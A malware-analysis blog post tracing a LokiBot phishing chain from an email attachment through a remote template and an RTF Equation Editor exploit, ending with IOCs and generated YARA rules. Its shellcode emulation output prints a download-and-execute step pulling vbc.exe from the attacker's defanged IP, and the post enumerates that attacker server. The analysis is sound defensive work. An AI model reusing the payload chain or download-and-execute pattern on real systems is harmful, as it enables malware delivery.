LokiBot Analysis

ivanvza.github.io/posts/lokibot_analysis

August 5, 2022

Aug 5, 2022

Brief Introduction

The initial delivery was via email, however this post is about analyzing the delivery stages, malware and some SECOPS fails from the LokiBot threat actors.

The high level killchain is as follows:

1. Spam/Phishing email
2. Contains a malicious document
3. Downloads a remote template
4. Exploits Equation Editor vulnerability
5. Drops LokiBot.

Step 1. Extract the attachment from the email

I don't want to go into too much detail however it is simple, extract the attachment from the email, I want to mention how to do this for that one reader that might not know :)

Somewhere in the mail headers you will see something like this:

```
<snip>
--=_992495f41efb31bdba85371179868e6e
Content-Transfer-Encoding: base64
Content-Type: application/vnd.openxmlformats-
officedocument.wordprocessingml.document;
 name="Payment advice_1.docx"
Content-Disposition: attachment; filename="Payment advice_1.docx"; size=73762

UEsDBBQAAgAIAHJ1/FRtFkuTcAEAAL8FAAATABEAW0NvbnRlbnRfVHlwZXNdLnhtbFVUDQAHnaDi
Yp2g4mKdoOJitZTLbsIwEEX3lfoPkbdVYuiiqioCiz6WLVLpB5h4Alb9kse8/r5jXqoQJGqBTaJk
5t57JrGmN1ganc0hoHK2ZN2iwzKwlZPKTkr2NXrLH1mGUVgptLNQshUgG/Rvb3qjlQfMSG2xZNMY
/RPnWE3BCCycB0uV2gUjIj2GCfei+hYT4PedzgOvnI1gYx6TB+v3XqAWMx2z1yW93pCAqVn2vOlL
USVTJumXearwo5oAGg9EwnutKhGpzudWHpDlW6qClOsenCqPd9RwIiFVTgc06DQu/0bm6lpVIF01
<snip>
AQAAAA==
--=_992495f41efb31bdba85371179868e6e--
```

As you can see this is generally `Base64` encoded, between 2 The Multipart Content-Type headers, we can easily extract the attachment by doing something like this:

```
cat Email\ Header.txt| awk '/Content-Disposition:/,/--=_/' | tail -n +2 | tail -r |
tail -n +2 | tail -r | base64 -d > loki_attachment.docx
```

To explain what is happening here:

1. Printing the entire output to stdout
2. With AWK, we are grabbing the contents between `Content-Disposition:` and `--=_`
3. `tail -f +2` cuts the last line off, which is the trailing `--=_`
4. Reverse the entire order of the output (a little cheat to cut the top part)
5. Doing some more cutting to, and then reversing it again to get the output back in the same order as originally
6. Decrypting the `base64` content and then piping it into our `.docx` file.

Step 2. Diving into the initial document

So I use a Docker container from Remnux, which comes pre-installed and configured with a bunch of tools for our analysis.

Here is an alias I use in my `.zshrc` to spin this container up and mapping my current folder as a volume:

```
alias docker_RE='docker run --rm -it -u remnux -v "$PWD:/home/remnux/files"
remnux/remnux-distro:focal bash'
```

We are going to use oleid to see if the document is encrypted, has VBA Macros / XLM Macros or External Relationships embedded.

The oletools suite is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis and debugging.

```
$ oleid loki_attachment.docx

Filename: loki_attachment.docx
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |MS Word 2007+       |info      |
                    |Document (.docx)    |          |
--------------------+--------------------+----------+--------------------------
Container format    |OpenXML             |info      |Container type
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted
--------------------+--------------------+----------+--------------------------
VBA Macros          |No                  |none      |This file does not contain
                    |                    |          |VBA macros.
--------------------+--------------------+----------+--------------------------
XLM Macros          |No                  |none      |This file does not contain
                    |                    |          |Excel 4/XLM macros.
--------------------+--------------------+----------+--------------------------
External            |1                   |HIGH      |External relationships
Relationships       |                    |          |found: attachedTemplate -
                    |                    |          |use oleobj for details
--------------------+--------------------+----------+--------------------------
```

With the above output we can see that there is indeed an external relationship, which means that the word document downloads a remote template.

Why this technique?

> The advantage of this technique is that the actual decoy Word document that touches the disk of the victim and read is not malicious. Thus, the chances of the attachment bypassing Email Gateways and/or host AV/EDR solutions increases than the traditional malicious Word Document.

Let’s extract the remote template URL with oleobj

```
$ oleobj loki_attachment.docx
-------------------------------------------------------------------------------
File: 'loki_attachment.docx'
Found relationship 'attachedTemplate' with external link
hxxp://192[.]3[.]122[.]162/receipt/doc_50.doc
```

Step 3. Diving into the second document (Template)

```
$ oleid doc_50.doc
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use
MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: doc_50.doc
--------------------+--------------------+----------+--------------------------
Indicator           |Value               |Risk      |Description
--------------------+--------------------+----------+--------------------------
File format         |Rich Text Format    |info      |
--------------------+--------------------+----------+--------------------------
Container format    |RTF                 |info      |Container type
--------------------+--------------------+----------+--------------------------
Encrypted           |False               |none      |The file is not encrypted
--------------------+--------------------+----------+--------------------------
VBA Macros          |No                  |none      |RTF files cannot contain
                    |                    |          |VBA macros
--------------------+--------------------+----------+--------------------------
XLM Macros          |No                  |none      |RTF files cannot contain
                    |                    |          |XLM macros
--------------------+--------------------+----------+--------------------------
External            |0                   |none      |External relationships
Relationships       |                    |          |such as remote templates,
                    |                    |          |remote OLE objects, etc
--------------------+--------------------+----------+--------------------------
```

A lot of malicious RTF files are obfuscated. With this sample rtfobj or rtfdump could not handle properly to correctly identify OLE objects (“Not a well-formed OLE object”). But the rtfdump tool has an option that can help decode objects that are not well-formed.

Let’s take a closer look, rtfdump does not identify OLE objects in this sample, however, the `h=` indicator tells us that there are a lot of hexadecimal characters, the interesting level we will look into is `Level 3`, reason for that is it is the inner most nested object with `15545` hex characters. We can always look at the other objects when we don’t find something.

```
$ rtfdump.py doc_50.doc
    1 Level  1        c=    1 p=00000000 l=   20542 h=    8457;      18 b=       0
u=    4064 \rt
    2  Level  2       c=    1 p=00001312 l=   15659 h=    7383;      18 b=       0
u=     260 \object51717743
    3   Level  3      c=    5 p=00001383 l=   15545 h=    7383;      18 b=       0
u=     260 \*\objdata141307
    4    Level  4     c=    1 p=00001395 l=     151 h=      26;      18 b=       0
u=      53
    5     Level  5    c=    1 p=00001396 l=     149 h=      26;      18 b=       0
u=      53
    6      Level  6   c=    1 p=00001397 l=     147 h=      26;      18 b=       0
u=      53 \bin00
    7       Level  7  c=    0 p=000013a1 l=      19 h=       0;       0 b=       0
u=       0 \*\objdata141307
    8    Level  4     c=    1 p=0000142f l=      56 h=      18;      18 b=       0
u=       0
    9     Level  5    c=    1 p=00001430 l=      54 h=      18;      18 b=       0
u=       0
   10      Level  6   c=    0 p=00001431 l=      52 h=      18;      18 b=       0
u=       0 \*\nonsartlrun221714552
   11    Level  4     c=    1 p=0000146a l=     390 h=      73;       6 b=       0
u=     169
   12     Level  5    c=    1 p=0000146b l=     388 h=      73;       6 b=       0
u=     169
   13      Level  6   c=    0 p=0000146c l=     386 h=     125;       6 b=       0
u=     256 \*\ho
   14    Level  4     c=    1 p=00001644 l=     181 h=       0;      12 b=       0
u=       0 \object
   15     Level  5    c=    0 p=000016b5 l=      67 h=       0;       8 b=       0
u=       0
   16    Level  4     c=    1 p=00001769 l=      82 h=      22;      12 b=       0
u=      37
   17     Level  5    c=    1 p=0000176a l=      80 h=      22;      12 b=       0
u=      37
   18      Level  6   c=    0 p=0000176b l=      78 h=      22;       7 b=       0
u=      37 \emspace610134477
```

a quick breakdown of the below command is as follows:

```
-s3: select item nr for dumping, in our case Level 3
-H: decode hexadecimal data
```

```
$ rtfdump.py -s3 -H doc_50.doc
<snip>
00000460: FF FF FF F5 20 06 F0 06  F0 07 40 02 00 04 50 06  .... .....@...P.
00000470: E0 07 40 07 20 07 90 00  00 00 00 00 00 00 00 00  ..@. ............
00000480: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000490: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000004A0: 00 00 00 01 60 00 50 0F  FF FF FF FF FF FF FF F0  ....`.P.........
000004B0: 10 00 00 00 2C E0 20 00  00 00 00 0C 00 00 00 00  ....,. .........
000004C0: 00 00 04 60 00 00 00 00  00 00 00 00 00 00 00 07  ...`............
000004D0: 0F 26 9F 51 6A 7D 80 10  30 00 00 08 00 50 00 00  .&.Qj}..0....P..
000004E0: 00 00 00 00 10 04 F0 06  C0 04 50 03 10 03 00 06  ..........P.....
000004F0: E0 06 10 05 40 06 90 05  60 06 50 00 00 00 00 00  ....@...`.P.....
</snip>
```

I want to focus on the following lines, executing this command just showed a bunch of blob, nothing is readable, and left me going back to rtfdump's documents trying to figure out why it can't properly decode these hex values.

The word `hexshift` caught my eye, the parameter in rtfdump is `--hexshift shift one nibble`, which made so much sense, let's execute the same command with the hexshift and look at the output and also draw it out:

```
$ rtfdump.py -s3 -S -H doc_50.doc
<snip>
00000460: FF FF FF FF 52 00 6F 00  6F 00 74 00 20 00 45 00  ....R.o.o.t. .E.
00000470: 6E 00 74 00 72 00 79 00  00 00 00 00 00 00 00 00  n.t.r.y.........
00000480: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000490: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000004A0: 00 00 00 00 16 00 05 00  FF FF FF FF FF FF FF FF  ................
000004B0: 01 00 00 00 02 CE 02 00  00 00 00 00 C0 00 00 00  ................
000004C0: 00 00 00 46 00 00 00 00  00 00 00 00 00 00 00 00  ...F............
000004D0: 70 F2 69 F5 16 A7 D8 01  03 00 00 00 80 05 00 00  p.i.............
000004E0: 00 00 00 00 01 00 4F 00  6C 00 45 00 31 00 30 00  ......O.l.E.1.0.
000004F0: 6E 00 61 00 54 00 69 00  56 00 65 00 00 00 00 00  n.a.T.i.V.e.....
</snip>
```

We actually have something readable.

So what does shift one nibble mean?

```
00000460: FF FF FF F5 20 06 F0 06  F0 07 40 02 00 04 50 06  .... .....@...P.
                    |
                     _ < Shift one nibble to the left
                       |
00000460: FF FF FF FF 52 00 6F 00  6F 00 74 00 20 00 45 00  ....R.o.o.t. .E.
```

So with the nibble shifting in play, let's dump that section and also dump it in raw format using the `-d` parameter:

```
$ rtfdump.py -s3 -S -H doc_50.doc -d > s3_doc_50.dump
```

```
$ oledump.py s3_doc_50.dump
Error: s3_doc_50.dump is not a valid OLE file.
```

Why is that?

Let's go back to the dump:

```
$ rtfdump.py -s3 -S -H doc_50.doc
<snip>
00000060: 00 0E 00 00 D0 CF 11 E0  A1 B1 1A E1 00 00 00 00  ................
</snip>
```

the bytes `D0 CF 11 E0` (remember these magic bytes when analyzing documents) match the signature of a valid OLE file, well, Compound File Binary Format to be more accurate.

To extract from the COM object header onward, we can do the following:

```
$ rtfdump.py -s3 -S -H doc_50.doc -c 0x64: | head -n3
00000000: D0 CF 11 E0 A1 B1 1A E1  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  3E 00 03 00 FE FF 09 00  ........>.......
00000020: 06 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  ................
$ rtfdump.py -s3 -S -H doc_50.doc -c 0x64: -d > s3_doc_50.dump
$ oledump.py s3_doc_50.dump
  1:      1354 '\x01OlE10naTiVe'
```

Another way to obtain this with oledump

```
$ rtfdump.py -s3 -S -H doc_50.doc -d > s3_doc_50.dump
$ oledump.py --find=1 s3_doc_50.dump
  1:      1354 '\x01OlE10naTiVe'
$ oledump.py --find=1 s3_doc_50.dump -sa | head -n3
00000000: 32 C7 FD 04 02 CB 4B BD  52 0B 01 08 7F 95 BD D6  2.....K.R.......
00000010: 42 BA FF F7 D5 8B 7D 13  8B 0F BB 30 E0 4F 90 81  B.....}....0.O..
00000020: EB 80 78 09 90 8B 03 51  FF D0 05 62 0B 0E FA 2D  ..x....Q...b...-
$ oledump.py --find=1 s3_doc_50.dump -sa -d > raw_oleobj.dump
```

I was about to mention that LokiBot makes use of CVE-2017-11882, but there is another tool from oletools called oledir, which displays all the directory entries of an OLE file. However this CLSID `0002CE02-0000-0000-C000-000000000046` is a clear giveaway of this CVE being at play here.

```
$ oledir s3_doc_50.dump
oledir 0.54 - http://decalage.info/python/oletools
OLE directory entries in file s3_doc_50.dump:
----+------+-------+----------------------+-----+-----+-----+--------+------
id  |Status|Type   |Name                  |Left |Right|Child|1st Sect|Size
----+------+-------+----------------------+-----+-----+-----+--------+------
0   |<Used>|Root   |Root Entry            |-    |-    |1    |3       |1408
1   |<Used>|Stream |\x01OlE10naTiVe       |-    |-    |-    |0       |1354
2   |unused|Empty  |                      |-    |-    |-    |0       |0
3   |unused|Empty  |                      |-    |-    |-    |0       |0
----+----------------------------+------+-------------------------------------
id  |Name                        |Size  |CLSID
----+----------------------------+------+-------------------------------------
0   |Root Entry                  |-     |0002CE02-0000-0000-C000-000000000046
    |                            |      |Microsoft Equation 3.0 (Known Related
    |                            |      |to CVE-2017-11882 or CVE-2018-0802)
1   |\x01OlE10naTiVe             |1354  |
```

Detecting the shellcode

For doing this let's make use of a tool called scdbgc, a brief explanation of that the tool is:

> scdbg is a shellcode analysis application built around the libemu emulation library.

Basically it analyzes shellcode by emulating its execution. You have 2 versions of this tool, scdbgc is the commandline equivalent of scdbg.

So we will use 2 parameters with scdbgc:

```
/f fpath  load shellcode from file - accepts binary, %u, \x, %x, hex blob
/findsc   detect possible shellcode buffers (brute force) (supports -dump, -disasm)
```

```
$ scdbgc /f s3_doc_50.dump -findsc
Loaded e08 bytes from file s3_doc_50.dump
Testing 3592 offsets  |  Percent Complete: 99%  |  Completed in 1014 ms
0) offset=0x8a5        steps=MAX    final_eip=7c80ae40   GetProcAddress
1) offset=0x925        steps=MAX    final_eip=7c80ae40   GetProcAddress
2) offset=0xaf9        steps=MAX    final_eip=401b0b
3) offset=0xafb        steps=MAX    final_eip=401b0b

Select index to execute:: (int/reg) 0
0
Loaded e08 bytes from file s3_doc_50.dump
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
Execution starts at file offset 8a5
4018a5  EB7E                            jmp 0x401925  vv
4018a7  8D9397020000                    lea edx,[ebx+0x297]
4018ad  6BF600                          imul esi,esi,0x0
4018b0  90                              nop
4018b1  EB08                            jmp 0x4018bb  vv


401b2f  GetProcAddress(ExpandEnvironmentStringsW)
401b62  ExpandEnvironmentStringsW(%PUBLIC%\vbc.exe, dst=12fb9c, sz=104)
401b77  LoadLibraryW(UrlMon)
401b92  GetProcAddress(URLDownloadToFileW)
401be4  URLDownloadToFileW(hxxp://192[.]3[.]122[.]162/57/vbc.exe,
C:\users\Public\vbc.exe)
401c2c  LoadLibraryW(shell32)
401c44  GetProcAddress(ShellExecuteExW)
401c4c  unhooked call to shell32.ShellExecuteExW        step=45299

Stepcount 45299
```

So let's break down what happened here, thanks to the tool doing most of the hard work here:

1. We loaded the shellcode from the dump file
2. We used the `/findsc` parameter to detect possible shellcode buffers.
3. The `/findsc` parameter is a brute force search for shellcode buffers.
4. It lists all possible shellcode buffers and their offsets.
5. We selected the first one, which is the one we want because the tool is nice enough to say it has an opcode relevant to `GetProcAddress`
6. Selected and, and scdbgc loaded the shellcode and emulated it's execution which gave us the URL we were after.

If you know the offset you can simply supply it with the `/foff` to specify the offset:

```
$ scdbgc /f s3_doc_50.dump -foff 0x8a5
<snip>
4018a5  EB7E                            jmp 0x401925  vv
4018a7  8D9397020000                    lea edx,[ebx+0x297]
4018ad  6BF600                          imul esi,esi,0x0
4018b0  90                              nop
4018b1  EB08                            jmp 0x4018bb  vv


401b2f  GetProcAddress(ExpandEnvironmentStringsW)
401b62  ExpandEnvironmentStringsW(%PUBLIC%\vbc.exe, dst=12fb9c, sz=104)
401b77  LoadLibraryW(UrlMon)
401b92  GetProcAddress(URLDownloadToFileW)
401be4  URLDownloadToFileW(hxxp://192[.]3[.]122[.]162/57/vbc.exe, %PUBLIC%\vbc.exe)
401c2c  LoadLibraryW(shell32)
401c44  GetProcAddress(ShellExecuteExW)
401c4c  unhooked call to shell32.ShellExecuteExW        step=45299
</snip>
```

Step 4. Diving into LokiBot (vpc.exe)

I'll cover this in more detail in the future, as this part was pretty lengthy, I found several different types of malware being deployed from the same source. (e.g. Formbook, LokiBot, etc)

But not to leave anyone hanging, here is a little tool from FireEye called (CAPA) [https://github.com/mandiant/capa], it detects capabilities in executable files or even shellcode.

```
$ capa vbc.exe
+-------------------------+-------------------------------------------------------------
-------------------------+
| md5                     | e31ec73d7d7dfa46d8389c1f0b3c92ae
|
| sha1                    | 9ae8bcc139898d5a31c5fb966ab05eaf65504401
|
| sha256                  |
e736ecdc420334831835e97a58ef4d512be477f6c9803e17caae4e47381e0991                    |
| os                      | windows
|
| format                  | pe
|
| arch                    | i386
|
| path                    | vbc.exe
|
+-------------------------+-------------------------------------------------------------
-------------------------+

+-------------------------+-------------------------------------------------------------
-------------------------+
| ATT&CK Tactic           | ATT&CK Technique
|
|-------------------------+-------------------------------------------------------------
-------------------------|
| DEFENSE EVASION         | Reflective Code Loading T1620
|
| DISCOVERY               | System Location Discovery T1614
|
+-------------------------+-------------------------------------------------------------
-------------------------+


+-----------------------------------------------------+-----------------------------
-------------------------+
| CAPABILITY                                          | NAMESPACE
|
|-----------------------------------------------------+-----------------------------
-------------------------|
| get geographical location                           | collection
|
| load .NET assembly                                  | load-code/dotnet
|
| unmanaged call                                      | runtime
|
| compiled to the .NET platform                       | runtime/dotnet
|
+-----------------------------------------------------+-----------------------------
-------------------------+
```

Step 5. Let’s build some automated detection

IOC

Indicator	Type
vbc.exe	Filename
shp_58.doc	Filename
shp_57.doc	Filename
14a477e0c37e60760bb806304fcdf37b	MD5
1cb3e5b0031ef252187c1615c3f7e8db	MD5
4d52c7446dda5cb8eb465d1902fa4fc3	MD5
89a8308ac9c48817acce539db7e1b45f	MD5
add40f2ec9ffce439f8e35e3bc1509cf	MD5
e31ec73d7d7dfa46d8389c1f0b3c92ae	MD5
12c635ac85b1ced4805c4bc679cf18a169d33619	SHA1
475fd526221b1731323fc5c9a732f2d87329ec89	SHA1
7cfa51cec50f5eaebc12bdf7b0c2b066f021edba	SHA1
9ae8bcc139898d5a31c5fb966ab05eaf65504401	SHA1
c8b45087429c162b0cc514fae47bb3f871c1c61f	SHA1
cc8958899f6433a6e5e8124901ecccc5fb838012	SHA1
3074b2ea06a803ab002e0bee1adc9b08dd62731563e3026b5db226367b7a44ab	SHA256
890c61f9b56ab414f1729bfba7aa223cc1439c0c23778432807ce13c39250ef0	SHA256
8fd93f5dc3041c50e1a6910aae03f95a22e632952ec987447859bec00bd31fa2	SHA256
be7dcfaf22adad3a7bc430046446d6a76e55ca1e00266e41710e7185f751da26	SHA256
d82d9f74c7d1b768a2c170b47117222fdf81a2aaae69ac2c61e893e94524c424	SHA256
e736ecdc420334831835e97a58ef4d512be477f6c9803e17caae4e47381e0991	SHA256
hxxp://192[.]3[.]122[.]162/57/vbc[.]exe	URL
hxxp://192[.]3[.]122[.]162/ships/shp_58[.]doc	URL
hxxp://192[.]3[.]122[.]162/ships/shp_57[.]doc	URL

Indicator	Type
hxxp://192[.]3[.]122[.]162/58/vbc[.]exe	UR

Yara Rules

I thought I'll do something different a try, I've always thought about automated YARA rule generation and how feasible it can be in this field, I found this amazing tool on Github called yarGen, basically you give it the stuff you want YARA rules generated for and it does some magic. Here is a summary from the developer:

> The main principle is the creation of yara rules from strings found in malware files while removing all strings that also appear in goodware files. Therefore yarGen includes a big goodware strings and opcode database as ZIP archives that have to be extracted before the first use.

Quick installation:

```
git clone https://github.com/Neo23x0/yarGen.git
pip install -r requirements.txt
python3 yarGen.py --update
```

Let's look at the results:

```
$ python3 yarGen.py --opcodes -m ~/files
<snip>
[+] Processing PEStudio strings ...
[+] Reading goodware strings from database 'good-strings.db' ...
<snip>
[+] Generating Super Rules ...
[=] Generated 11 SIMPLE rules.
[=] Generated 7 SUPER rules.
[=] All rules written to yargen_rules.yar
[+] yarGen run finished
</snip>
```

I must say the results are pretty good, it even combines multiple files of the same type to create one big rule if you desire, here is an example of one of the rules:

```
rule _vbc_vbc_22_vbc_57_vbc_58_0 {
   meta:
      description = "raw_files - from files vbc.exe, vbc_22.exe, vbc_57.exe,
vbc_58.exe"
      author = "yarGen Rule Generator"
      reference = "https://github.com/Neo23x0/yarGen"
      date = "2022-08-05"
      hash1 = "e736ecdc420334831835e97a58ef4d512be477f6c9803e17caae4e47381e0991"
      hash2 = "d82d9f74c7d1b768a2c170b47117222fdf81a2aaae69ac2c61e893e94524c424"
      hash3 = "8fd93f5dc3041c50e1a6910aae03f95a22e632952ec987447859bec00bd31fa2"
      hash4 = "3074b2ea06a803ab002e0bee1adc9b08dd62731563e3026b5db226367b7a44ab"
   strings:
      $s1 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
      $s2 = "UE 3J:\"" fullword ascii
      $s3 = "16.0.0.0" fullword ascii
      $s4 = "c%s8u -Ld" fullword ascii
      $s5 = "w -|/$)" fullword ascii
      $s6 = "TripleDESCryptoServiceProvider" fullword ascii /* Goodware String -
occured 36 times */
      $s7 = "MD5CryptoServiceProvider" fullword ascii /* Goodware String - occured 50
times */
      $s8 = "CipherMode" fullword ascii /* Goodware String - occured 54 times */
      $s9 = "CreateDecryptor" fullword ascii /* Goodware String - occured 76 times */
      $s10 = "ComputeHash" fullword ascii /* Goodware String - occured 226 times */
      $s11 = "System.Security.Cryptography" fullword ascii /* Goodware String -
occured 305 times */
      $s12 = "<Sshu%xf" fullword ascii
      $s13 = "untimeResourceSet" fullword ascii
      $s14 = "vfRfy<M" fullword ascii
      $s15 = "SkTZk@a8" fullword ascii
      $s16 = "IVow\\B" fullword ascii
      $s17 = "_PFgN>NJ" fullword ascii
      $s18 = "/u.low" fullword ascii
      $s19 = "System.Runtime.CompilerServices" fullword ascii /* Goodware String -
occured 1950 times */
      $s20 = "b77a5c561934e089" ascii /* Goodware String - occured 2 times */

      $op0 = { ff 25 00 20 40 00 48 34 46 5a 54 47 43 58 38 37 }
      $op1 = { 08 00 00 11 00 03 2c 0b 02 7b 34 00 00 04 14 fe }
      $op2 = { 81 00 cb 23 06 00 34 00 98 89 }
   condition:
      ( uint16(0) == 0x5a4d and filesize < 2000KB and ( 8 of them ) and all of ($op*)
      ) or ( all of them )
}
```

Let's quickly testing out if the rules work, I have a docker-based version of yara installed, so I can run the rules against a sample file:

```
$ yara /malware/yarGen/test_sample.yar -r /malware/raw_files
_vbc_vbc_22_vbc_57_vbc_58_0 /malware/raw_files/vbc_58.exe
```

As you can see it did indeed match with the given sample, pretty neat, I also tested with the other automated rules and it worked better than expected. If anyone is keen, drop me a message on Twitter and I will showcase how to build this into your automated static analysis process.

Step 6. Bloopers

I'm still in awe how bad the infrastructure is of the Threat Actor, running outdated, unpatched, unhardened applications. But I'm assuming it was all due to a quick and dirty win, regardless of what the outcomes were, they can just spin up more… Change their A records and continue moving.

Anyway, just take a look at this snippet of their web directory structure, I didn't include most of it because it's besides the point, but as you can see the IoC's we're after was just waiting there, no attempt to even host it on a another server, this whole campeign was done on a single host.

```
$ docker_dirb -u hxxp://192[.]3[.]122[.]162                                    1 ↵
<snip>
File found: /21/vbc.exe - 200
File found: /22/vbc.exe - 200
File found: /57/vbc.exe - 200
File found: /58/vbc.exe - 200
Dir found: /dashboard/ - 200
File found: /dashboard/phpinfo.php - 200
Dir found: /phpmyadmin/ - 403
Dir found: /webalizer/ - 403
Dir found: /ships/ - 200
File found: /ships/shp_57.doc - 200
File found: /ships/shp_58.doc - 200
Dir found: /xampp/ - 200
</snip>
```

Here are some more unhardened things that was open from the outside :

```
Number of open ports:    7
Vulnerabilities:         CVE-2022-2097  CVE-2022-1292   CVE-2022-26377  CVE-2022-
30522   CVE-2022-28614  CVE-2022-2068   CVE-2022-29404  CVE-2022-31813  CVE-2022-
28615   CVE-2022-30556  CVE-2022-28330

Ports:
     80/tcp Apache httpd (2.4.53)
    135/tcp Microsoft RPC Endpoint Mapper
    139/tcp
    443/tcp Apache httpd (2.4.53)
        |-- SSL Versions: -SSLv2, -SSLv3, TLSv1, TLSv1.1, TLSv1.2, TLSv1.3
        |-- Diffie-Hellman Parameters:
                Bits:          1024
                Generator:     2
                Fingerprint:   RFC2409/Oakley Group 2
    445/tcp
        |-- SMB Status:
                Authentication: enabled
                SMB Version: 1
                OS: Windows Server 2016 Standard 14393
                Software: Windows Server 2016 Standard 6.3
                Capabilities: extended-security, infolevel-passthru, large-files,
large-readx, large-writex, level2-oplocks, lock-and-read, lwio, nt-find, nt-smb, nt-
status, rpc-remote-api, unicode
   3306/tcp
   3389/tcp Remote Desktop Protocol
        |-- SSL Versions: -SSLv2, -SSLv3, TLSv1, TLSv1.1, TLSv1.2
        |-- Diffie-Hellman Parameters:
                Bits:          2048
                Generator:
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```